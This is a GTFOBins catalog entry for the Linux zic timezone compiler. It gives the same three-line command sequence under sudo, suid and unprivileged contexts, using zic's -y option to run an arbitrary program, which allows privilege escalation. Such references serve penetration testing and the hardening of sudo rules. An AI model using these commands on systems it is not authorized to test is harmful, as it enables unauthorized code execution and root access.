Catalog GTFOBins

GTFO · Tool

zic

3 techniques LinuxGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation Linux

This executes the command twice: - `/path/to/command 0 xxx` - `/path/to/command 1 xxx` Additionally the `Test` file is created.

echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file
echo 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file
zic -d . -y /path/to/command /path/to/temp-file
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation Linux

This executes the command twice: - `/path/to/command 0 xxx` - `/path/to/command 1 xxx` Additionally the `Test` file is created.

echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file
echo 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file
zic -d . -y /path/to/command /path/to/temp-file
Context
suid
Native
command
MITRE
T1059

command

Execution Linux

This executes the command twice: - `/path/to/command 0 xxx` - `/path/to/command 1 xxx` Additionally the `Test` file is created.

echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file
echo 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file
zic -d . -y /path/to/command /path/to/temp-file
Context
unprivileged
Native
command
MITRE
T1059